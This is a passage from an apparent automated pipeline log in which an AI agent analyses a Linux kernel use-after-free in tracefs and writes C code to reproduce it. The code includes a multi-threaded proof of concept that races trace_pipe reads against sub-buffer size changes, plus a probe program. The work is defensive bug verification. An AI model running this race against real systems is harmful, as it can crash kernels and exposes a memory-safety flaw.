* **Freeing a snapshot:** Writing `0` to the `snapshot` file (e.g., `echo 0 > snapshot`) triggers `free_snapshot()`, which calls `ring_buffer_subbuf_order_set(..., 0)` to reset the snapshot buffer's sub-buffer order to 0.
### 2. Changing the current tracer (writing to `current_tracer`)
* **Enabling a tracer that uses a snapshot:** When switching to a tracer that requires a snapshot buffer (such as `wakeup`, `wakeup_rt`, `wakeup_dl`, `irqsoff`, `preemptoff`, or `preemptirqsoff`), the kernel automatically triggers `tracing_arm_snapshot_locked()`, which calls `tracing_alloc_snapshot_instance()` and sets the snapshot buffer's sub-buffer order.
* **Disabling a tracer that uses a snapshot:** When switching away from a tracer that uses a snapshot to one that does not (e.g., `nop`), the kernel triggers `free_snapshot()`, which resets the snapshot buffer's sub-buffer order to 0.
### 3. Registering/Enabling a snapshot event trigger
* Adding a `snapshot` trigger to a trace event (e.g., `echo snapshot > events/<group>/<event>/trigger`) triggers `register_snapshot_trigger()`, which arms the snapshot via `tracing_arm_snapshot()`. This calls `tracing_alloc_snapshot_instance()` and sets the snapshot buffer's sub-buffer order.
### 4. Registering/Enabling a snapshot function trigger
* Adding a `snapshot` trigger to a function tracer (e.g., `echo 'sys_clone:snapshot' > set_ftrace_filter`) triggers `ftrace_trace_snapshot_callback()`, which arms the snapshot via `tracing_arm_snapshot()`. This calls `tracing_alloc_snapshot_instance()` and sets the snapshot buffer's sub-buffer order.
### 5. Enabling a conditional snapshot via histogram triggers
* Using the `snapshot()` action on a histogram trigger (e.g., `echo 'hist:keys=...:onmax(...).snapshot()' > events/<group>/<event>/trigger`) triggers `action_create()`, which calls `tracing_snapshot_cond_enable()`. This arms the snapshot and calls `tracing_alloc_snapshot_instance()`, setting the snapshot buffer's sub-buffer order.
### 6. Boot-time tracing configuration
* If the kernel boot parameter/boot config has `alloc_snapshot` set for a tracing instance (e.g., via `trace_boot_enable_tracer()`), the kernel calls `tracing_alloc_snapshot_instance()` during boot, which sets the snapshot buffer's sub-buffer order.
### 7. Calling `tracing_snapshot_alloc()` from kernel code/modules
* Any kernel code or driver/module can call the exported function `tracing_snapshot_alloc()`, which calls `tracing_alloc_snapshot()`, which calls `tracing_alloc_snapshot_instance()` and sets the snapshot buffer's sub-buffer order.]
Results: map[Answer:Yes, there are several other ways to trigger `ring_buffer_subbuf_order_set` besides writing to `buffer_subbuf_size_kb`.
In the Linux kernel source code, `ring_buffer_subbuf_order_set` is called in two files:
1. `kernel/trace/trace.c` (inside `buffer_subbuf_size_write`, which is triggered by writing to `buffer_subbuf_size_kb`).
2. `kernel/trace/trace_snapshot.c` (inside `tracing_alloc_snapshot_instance` and `free_snapshot`).
Therefore, any action that allocates, arms, or frees/resets a snapshot buffer will trigger `ring_buffer_subbuf_order_set` (specifically for the snapshot buffer, to synchronize its sub-buffer order/size with the main buffer, or to reset it to 0 when freed).
Here are all the other ways to trigger `ring_buffer_subbuf_order_set`:
### 1. Interacting with the `snapshot` file in the tracefs directory
* **Allocating/Taking a snapshot:** Writing `1` to the `snapshot` file (e.g., `echo 1 > snapshot`) triggers `tracing_arm_snapshot_locked()`, which calls `tracing_alloc_snapshot_instance()`. If the snapshot buffer is not yet allocated, this calls `ring_buffer_subbuf_order_set()` to set the snapshot buffer's sub-buffer order to match the main buffer's order.
* **Freeing a snapshot:** Writing `0` to the `snapshot` file (e.g., `echo 0 > snapshot`) triggers `free_snapshot()`, which calls `ring_buffer_subbuf_order_set(..., 0)` to reset the snapshot buffer's sub-buffer order to 0.
### 2. Changing the current tracer (writing to `current_tracer`)
* **Enabling a tracer that uses a snapshot:** When switching to a tracer that requires a snapshot buffer (such as `wakeup`, `wakeup_rt`, `wakeup_dl`, `irqsoff`, `preemptoff`, or `preemptirqsoff`), the kernel automatically triggers `tracing_arm_snapshot_locked()`, which calls `tracing_alloc_snapshot_instance()` and sets the snapshot buffer's sub-buffer order.
* **Disabling a tracer that uses a snapshot:** When switching away from a tracer that uses a snapshot to one that does not (e.g., `nop`), the kernel triggers `free_snapshot()`, which resets the snapshot buffer's sub-buffer order to 0.
### 3. Registering/Enabling a snapshot event trigger
* Adding a `snapshot` trigger to a trace event (e.g., `echo snapshot > events/<group>/<event>/trigger`) triggers `register_snapshot_trigger()`, which arms the snapshot via `tracing_arm_snapshot()`. This calls `tracing_alloc_snapshot_instance()` and sets the snapshot buffer's sub-buffer order.
### 4. Registering/Enabling a snapshot function trigger
* Adding a `snapshot` trigger to a function tracer (e.g., `echo 'sys_clone:snapshot' > set_ftrace_filter`) triggers `ftrace_trace_snapshot_callback()`, which arms the snapshot via `tracing_arm_snapshot()`. This calls `tracing_alloc_snapshot_instance()` and sets the snapshot buffer's sub-buffer order.
### 5. Enabling a conditional snapshot via histogram triggers
* Using the `snapshot()` action on a histogram trigger (e.g., `echo 'hist:keys=...:onmax(...).snapshot()' > events/<group>/<event>/trigger`) triggers `action_create()`, which calls `tracing_snapshot_cond_enable()`. This arms the snapshot and calls `tracing_alloc_snapshot_instance()`, setting the snapshot buffer's sub-buffer order.
### 6. Boot-time tracing configuration
* If the kernel boot parameter/boot config has `alloc_snapshot` set for a tracing instance (e.g., via `trace_boot_enable_tracer()`), the kernel calls `tracing_alloc_snapshot_instance()` during boot, which sets the snapshot buffer's sub-buffer order.
### 7. Calling `tracing_snapshot_alloc()` from kernel code/modules
* Any kernel code or driver/module can call the exported function `tracing_snapshot_alloc()`, which calls `tracing_alloc_snapshot()`, which calls `tracing_alloc_snapshot_instance()` and sets the snapshot buffer's sub-buffer order.]
|
| 128/2 |
2026/08/12 02:35 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 40602
output: 1143
thoughts: 744
Thoughts: **My Thought Process on the Ring Buffer Subbuffer Order Set Bug**
After reviewing the provided information, I've pieced together the cause and a strategy for reproducing a specific bug related to the `ring_buffer_subbuf_order_set` function.
Initially, there was a statement suggesting that `ring_buffer_subbuf_order_set` is also invoked for snapshot buffers. However, the crucial detail from the bug report's stack trace points elsewhere. I observed that the bug report explicitly shows `ring_buffer_subbuf_order_set` being called directly from `buffer_subbuf_size_write`, not indirectly through snapshot buffer operations. The stack trace clearly indicates:
```
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0x12d5/0x18a0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x182/0x280 kernel/trace/trace.c:8221
```
This sequence confirms that `buffer_subbuf_size_write` is the precise trigger for the problematic call to `ring_buffer_subbuf_order_set`. Consequently, the specific operation to focus on is writing to `buffer_subbuf_size_kb`.
With this understanding, I have all the necessary pieces to formulate a response and a method to reproduce the bug. My strategy is to create a race condition. I plan to concurrently execute two operations: one that continuously reads from the `trace_pipe` and another that repeatedly writes to the `buffer_subbuf_size_kb` file. To ensure there are actually events available for the reader to consume, I will enable all available trace events and, in parallel, run a loop of `getpid()` syscalls. This will generate a steady stream of trace data.
The C code I've developed embodies this strategy. It's a minimal, self-contained program designed to directly mirror the conditions described in the bug report. It opens `/sys/kernel/tracing/trace_pipe` for reading and `/sys/kernel/tracing/buffer_subbuf_size_kb` for writing, both in separate threads. A third thread continuously invokes `getpid()` syscalls to fill the trace buffer. The main thread first enables all trace events, then launches these threads, and finally waits for them to complete (though in this scenario, they are designed to run indefinitely until interrupted).
I will structure my response to clearly delineate the analysis of the bug's origin and the practical reproduction strategy, complete with the provided C code.
|
| 129/1 |
2026/08/12 02:35 |
loop |
|
8m
|
| 130/2 |
2026/08/12 02:35 |
iteration |
0 |
4m
|
| 131/3 |
2026/08/12 02:35 |
action |
If |
0m
Args:
|
| 132/3 |
2026/08/12 02:35 |
action |
merge-strategy |
0m
Results: map[CurrentReproStrategy:### Analysis of the Bug
The bug is a Use-After-Free (UAF) in the tracing subsystem, specifically when reading from the `trace_pipe` while concurrently changing the ring buffer's sub-buffer size.
Here is the sequence of events that leads to the crash:
1. **Reading the Trace Pipe:** When a user reads from `/sys/kernel/tracing/trace_pipe`, `tracing_read_pipe()` is invoked. It calls `trace_find_next_entry_inc()` to peek at the next event in the ring buffer.
2. **Peeking the Event:** `ring_buffer_iter_peek()` acquires the `cpu_buffer->reader_lock`, gets a pointer to the event inside the reader page, and then **drops the lock**. It returns the pointer to the event data.
3. **Concurrent Sub-buffer Size Change:** Meanwhile, another thread writes to `/sys/kernel/tracing/buffer_subbuf_size_kb`. This invokes `buffer_subbuf_size_write()`, which calls `ring_buffer_subbuf_order_set()`.
4. **Freeing the Reader Page:** `ring_buffer_subbuf_order_set()` acquires the `cpu_buffer->reader_lock`, swaps out the current reader page for a newly allocated one of the new size, drops the lock, and then **frees the old reader page** (`free_buffer_page()`).
5. **Use-After-Free:** Back in the first thread, `tracing_read_pipe()` proceeds to format and print the event using the pointer it obtained earlier. It calls `print_trace_line()` -> `print_trace_fmt()` -> `trace_raw_output_sys_enter()` -> `trace_event_printf()` -> `ignore_event()`. When `ignore_event()` dereferences `iter->ent->type`, it accesses the memory of the reader page that was just freed, triggering the KASAN UAF report.
### Reproduction Strategy
To reproduce this bug, we need to maximize the race window between reading the trace pipe and changing the sub-buffer size. We can achieve this with a minimal C program that uses three threads:
1. **Event Generator:** A thread that continuously executes a syscall (e.g., `getpid()`) to flood the ring buffer with `sys_enter` events.
2. **Trace Reader:** A thread that continuously reads from `/sys/kernel/tracing/trace_pipe`.
3. **Size Changer:** A thread that continuously writes alternating valid sizes (e.g., `4` and `8` KB) to `/sys/kernel/tracing/buffer_subbuf_size_kb` to force the reallocation and freeing of the reader pages.
### Minimal C Reproducer
```c
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
static void *read_pipe(void *arg)
{
int fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
perror("open trace_pipe");
return NULL;
}
char buf[4096];
while (1) {
read(fd, buf, sizeof(buf));
}
return NULL;
}
static void *write_size(void *arg)
{
int fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
perror("open buffer_subbuf_size_kb");
return NULL;
}
while (1) {
/* Alternate between 4KB (order 0) and 8KB (order 1) */
write(fd, "4\n", 2);
write(fd, "8\n", 2);
}
return NULL;
}
static void *do_syscalls(void *arg)
{
while (1) {
syscall(SYS_getpid);
}
return NULL;
}
int main(void)
{
int fd;
/* Enable all events to ensure the ring buffer is flooded with data */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
write(fd, "1", 1);
close(fd);
} else {
perror("open events/enable");
}
pthread_t t1, t2, t3;
pthread_create(&t1, NULL, read_pipe, NULL);
pthread_create(&t2, NULL, write_size, NULL);
pthread_create(&t3, NULL, do_syscalls, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
return 0;
}
```]
|
| 133/3 |
2026/08/12 02:35 |
agent |
repro-generator |
0m
Model:
Results: map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
int main(void) {
int fd;
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/events/enable: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/events/enable successfully.\n");
close(fd);
fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/trace_pipe: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/trace_pipe successfully.\n");
close(fd);
fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/buffer_subbuf_size_kb: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/buffer_subbuf_size_kb successfully.\n");
close(fd);
printf("[+] All probes successful.\n");
return 0;
}
]
Instruction: You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.
To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
int res = do_something();
if (res < 0) {
printf("[-] Failed to do_something: %s\n", strerror(errno));
exit(1);
}
printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
systems, makefiles, and kernel build/header directories) is NOT available
on the target test VM guest. Do NOT check for, build, or reference any
compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
functions like 'system()', 'popen()', or the 'exec' family such as
'execve()'). All environment checks, capability probings, and reproduction
steps must be performed directly using standard Linux system calls (such
as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
include a sufficient delay (using sleep or similar) after deleting
or unregistering the device to allow the kernel's asynchronous
timeout to trigger before program exit.
=== PHASE 1: CAPABILITY PROBING (GENERATION) ===
You MUST start by generating a simple 'probe' program first. This is a strict, non-negotiable requirement
to verify that the test environment has the necessary kernel capabilities and privileges.
This program's sole purpose is to verify subsystem availability and privileges by probing specific
device files, subsystems, or syscalls (for example: opening /dev/vhci to check if the virtual
Bluetooth controller is accessible, loading a minimal dummy BPF program, or making a specific
socket/ioctl call).
Print clear messages indicating success or failure of these probes, and exit with 0 only if
all checks pass.
Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version,
regardless of how simple the reproducer seems. You must wait until a successful probe run has been
confirmed in the environment (i.e., when CapabilitiesVerified becomes true).
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: KASAN: use-after-free Read in ignore_event
==================================================================
BUG: KASAN: use-after-free in ignore_event+0x83e/0xaa0 kernel/trace/trace.c:2526
Read of size 2 at addr ffff88804705a1ac by task syz.6.1383/11771
CPU: 0 UID: 0 PID: 11771 Comm: syz.6.1383 Tainted: G S syzkaller #0 PREEMPT(full)
Tainted: [S]=CPU_OUT_OF_SPEC
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
print_address_description mm/kasan/report.c:378 [inline]
print_report+0x13d/0x4b0 mm/kasan/report.c:482
kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
ignore_event+0x83e/0xaa0 kernel/trace/trace.c:2526
trace_event_printf+0xb5/0x160 kernel/trace/trace_output.c:356
trace_raw_output_sys_enter+0x4c/0x60 include/trace/events/syscalls.h:18
print_trace_fmt kernel/trace/trace.c:3071 [inline]
print_trace_line+0x97d/0x1790 kernel/trace/trace.c:3237
tracing_read_pipe+0x586/0xd60 kernel/trace/trace.c:5444
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f48cdd9e019
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f48cebb5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f48ce025fa0 RCX: 00007f48cdd9e019
RDX: 0000000000002000 RSI: 0000200000001000 RDI: 0000000000000003
RBP: 00007f48cde3500c R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f48ce026038 R14: 00007f48ce025fa0 R15: 00007ffe7508fde8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x4705a
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
raw: 00fff00000000000 ffffea00009a6048 ffffea00007bac08 0000000000000000
raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 9023, tgid 9022 (syz.6.770), ts 304966657874, free_ts 587151444439
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0xfd/0x120 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0xf48/0x3530 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x299/0x2dc0 mm/page_alloc.c:5304
__alloc_pages_noprof+0xb/0x110 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data+0x60/0x160 kernel/trace/ring_buffer.c:427
__rb_allocate_pages+0xbd5/0x10a0 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x6df/0x1e80 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer.part.0+0x52/0x1f0 kernel/trace/trace.c:4738
__tracing_resize_ring_buffer kernel/trace/trace.c:4732 [inline]
tracing_update_buffers+0xd4/0xf0 kernel/trace/trace.c:4977
event_enable_write+0x23f/0x340 kernel/trace/trace_events.c:1926
vfs_write+0x2aa/0x1050 fs/read_write.c:685
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 11775 tgid 11774 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0x79f/0x1090 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0x12d5/0x18a0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x182/0x280 kernel/trace/trace.c:8221
vfs_write+0x2aa/0x1050 fs/read_write.c:685
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff88804705a080: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff88804705a100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff88804705a180: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff88804705a200: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff88804705a280: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
Strategy: ### Analysis of the Bug
The bug is a Use-After-Free (UAF) in the tracing subsystem, specifically when reading from the `trace_pipe` while concurrently changing the ring buffer's sub-buffer size.
Here is the sequence of events that leads to the crash:
1. **Reading the Trace Pipe:** When a user reads from `/sys/kernel/tracing/trace_pipe`, `tracing_read_pipe()` is invoked. It calls `trace_find_next_entry_inc()` to peek at the next event in the ring buffer.
2. **Peeking the Event:** `ring_buffer_iter_peek()` acquires the `cpu_buffer->reader_lock`, gets a pointer to the event inside the reader page, and then **drops the lock**. It returns the pointer to the event data.
3. **Concurrent Sub-buffer Size Change:** Meanwhile, another thread writes to `/sys/kernel/tracing/buffer_subbuf_size_kb`. This invokes `buffer_subbuf_size_write()`, which calls `ring_buffer_subbuf_order_set()`.
4. **Freeing the Reader Page:** `ring_buffer_subbuf_order_set()` acquires the `cpu_buffer->reader_lock`, swaps out the current reader page for a newly allocated one of the new size, drops the lock, and then **frees the old reader page** (`free_buffer_page()`).
5. **Use-After-Free:** Back in the first thread, `tracing_read_pipe()` proceeds to format and print the event using the pointer it obtained earlier. It calls `print_trace_line()` -> `print_trace_fmt()` -> `trace_raw_output_sys_enter()` -> `trace_event_printf()` -> `ignore_event()`. When `ignore_event()` dereferences `iter->ent->type`, it accesses the memory of the reader page that was just freed, triggering the KASAN UAF report.
### Reproduction Strategy
To reproduce this bug, we need to maximize the race window between reading the trace pipe and changing the sub-buffer size. We can achieve this with a minimal C program that uses three threads:
1. **Event Generator:** A thread that continuously executes a syscall (e.g., `getpid()`) to flood the ring buffer with `sys_enter` events.
2. **Trace Reader:** A thread that continuously reads from `/sys/kernel/tracing/trace_pipe`.
3. **Size Changer:** A thread that continuously writes alternating valid sizes (e.g., `4` and `8` KB) to `/sys/kernel/tracing/buffer_subbuf_size_kb` to force the reallocation and freeing of the reader pages.
### Minimal C Reproducer
```c
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
static void *read_pipe(void *arg)
{
int fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
perror("open trace_pipe");
return NULL;
}
char buf[4096];
while (1) {
read(fd, buf, sizeof(buf));
}
return NULL;
}
static void *write_size(void *arg)
{
int fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
perror("open buffer_subbuf_size_kb");
return NULL;
}
while (1) {
/* Alternate between 4KB (order 0) and 8KB (order 1) */
write(fd, "4\n", 2);
write(fd, "8\n", 2);
}
return NULL;
}
static void *do_syscalls(void *arg)
{
while (1) {
syscall(SYS_getpid);
}
return NULL;
}
int main(void)
{
int fd;
/* Enable all events to ensure the ring buffer is flooded with data */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
write(fd, "1", 1);
close(fd);
} else {
perror("open events/enable");
}
pthread_t t1, t2, t3;
pthread_create(&t1, NULL, read_pipe, NULL);
pthread_create(&t2, NULL, write_size, NULL);
pthread_create(&t3, NULL, do_syscalls, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
return 0;
}
```
|
| 134/4 |
2026/08/12 02:35 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 6656
output: 400
thoughts: 1085
Thoughts: **My Thought Process for Generating a Minimal C Program to Verify a Kernel Bugfix**
My primary objective here is to construct a minimal, standalone C program specifically designed to verify a bugfix. The bug in question is a KASAN use-after-free vulnerability residing within the `ignore_event` function, directly related to tracing operations in the kernel. The strategy outlined for triggering and verifying this bug hinges on a race condition. This race occurs between reading from `/sys/kernel/tracing/trace_pipe` and writing to `/sys/kernel/tracing/buffer_subbuf_size_kb`.
Before diving into the core bug reproduction logic, I recognize a critical prerequisite: I **MUST** first generate a simple 'probe' program. This isn't a suggestion; it's a strict, non-negotiable requirement to confirm that the intended test environment possesses the necessary kernel capabilities and sufficient privileges to even attempt the bug verification. Without this, any subsequent efforts would be futile.
The probe program's role is to meticulously check accessibility to several key tracing-related files within the `/sys/kernel/tracing` filesystem. Specifically, it needs to confirm that I can successfully open `/sys/kernel/tracing/trace_pipe` for reading, `/sys/kernel/tracing/buffer_subbuf_size_kb` for writing, and `/sys/kernel/tracing/events/enable`, also for writing. If the probe can successfully open all these files, it signifies that the environment is adequately prepared for the next stage.
With that understanding, I proceeded to draft the probe program. My initial thought was to implement standard file opening operations using `open()`, checking the return value for errors, and reporting any failures using `strerror(errno)`. I also decided to print success messages for each file opened to provide clear feedback.
Here's the C code I initially conceived for the probe:
```c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
int main(void) {
int fd;
// Check access to enable tracing events
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/events/enable: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/events/enable successfully.\n");
close(fd);
// Check access to read from the trace pipe
fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/trace_pipe: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/trace_pipe successfully.\n");
close(fd);
// Check access to modify buffer subbuffer size
fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/buffer_subbuf_size_kb: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/buffer_subbuf_size_kb successfully.\n");
close(fd);
printf("[+] All probes successful.\n");
return 0;
}
```
Then, I paused to re-read the explicit instructions. The prompt reiterates: "You MUST start by generating a simple 'probe' program first. This is a strict, non-negotiable requirement to verify that the test environment has the necessary kernel capabilities and privileges." This cemented my approach. I decided that the output mechanism for this probe program should be through the `set-results` tool, and critically, I need to mark it with `IsProbe: true` to clearly identify its purpose.
A minor consideration then arose regarding the filesystem path for tracing. The bug report mentions `kernel/trace/trace.c`, which might suggest an older path. However, I know that modern kernels typically mount tracefs under `/sys/kernel/tracing`. To be safe, I considered checking both, but ultimately, `/sys/kernel/tracing` is the more standard and likely path. So, I'll stick with `/sys/kernel/tracing`.
After this review and confirmation, I arrived at the final version of the probe program, which is identical to the one I initially drafted, as it correctly addresses the required checks.
Finally, I will execute `set-results` with this probe program, ensuring it's correctly tagged as `IsProbe: true`. This completes the first, mandatory step of my bug verification process.
|
| 135/4 |
2026/08/12 02:35 |
tool |
set-results |
0m
Args: map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
int main(void) {
int fd;
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/events/enable: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/events/enable successfully.\n");
close(fd);
fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/trace_pipe: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/trace_pipe successfully.\n");
close(fd);
fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/buffer_subbuf_size_kb: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/buffer_subbuf_size_kb successfully.\n");
close(fd);
printf("[+] All probes successful.\n");
return 0;
}
]
Results: map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
int main(void) {
int fd;
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/events/enable: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/events/enable successfully.\n");
close(fd);
fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/trace_pipe: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/trace_pipe successfully.\n");
close(fd);
fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/buffer_subbuf_size_kb: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/buffer_subbuf_size_kb successfully.\n");
close(fd);
printf("[+] All probes successful.\n");
return 0;
}
]
|
| 136/3 |
2026/08/12 02:35 |
loop |
|
0m
|
| 137/4 |
2026/08/12 02:35 |
iteration |
0 |
0m
|
| 138/5 |
2026/08/12 02:35 |
action |
merge-repro-c |
0m
Results: map[CurrentCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
int main(void) {
int fd;
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/events/enable: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/events/enable successfully.\n");
close(fd);
fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/trace_pipe: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/trace_pipe successfully.\n");
close(fd);
fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/buffer_subbuf_size_kb: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/buffer_subbuf_size_kb successfully.\n");
close(fd);
printf("[+] All probes successful.\n");
return 0;
}
]
|
| 139/5 |
2026/08/12 02:35 |
action |
compile-c-prog |
0m
Results: map[CompilerError: FormattedReproC:#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
int main(void) {
int fd;
